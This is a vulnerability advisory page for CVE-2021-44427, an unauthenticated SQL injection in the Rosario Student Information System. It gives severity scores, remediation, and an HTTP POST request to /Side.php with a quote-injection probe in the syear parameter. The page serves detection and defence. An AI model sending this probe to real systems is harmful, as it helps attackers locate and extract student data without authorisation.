🔙 목록으로 돌아가기

CVE-2021-44427: Rosario Student Information System Unauthenticated SQL Injection

TitleRosario Student Information System Unauthenticated SQL Injection
Authorfurkansayim,xShuden
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database, modify data, or execute arbitrary SQL commands.
RemediationUpgrade to version 8.1.1 or higher.
CVSS Score9.8
EPSS Score0.84943
CVE IDCVE-2021-44427
CWE IDCWE-89
Tags cve cve2021 sqli rosariosis vkev vuln

🔍 Vulnerability Description

An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.

🌐 HTTP Request

POST /Side.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 26
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip

sidefunc=update&syear=111'

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44427.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44427.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A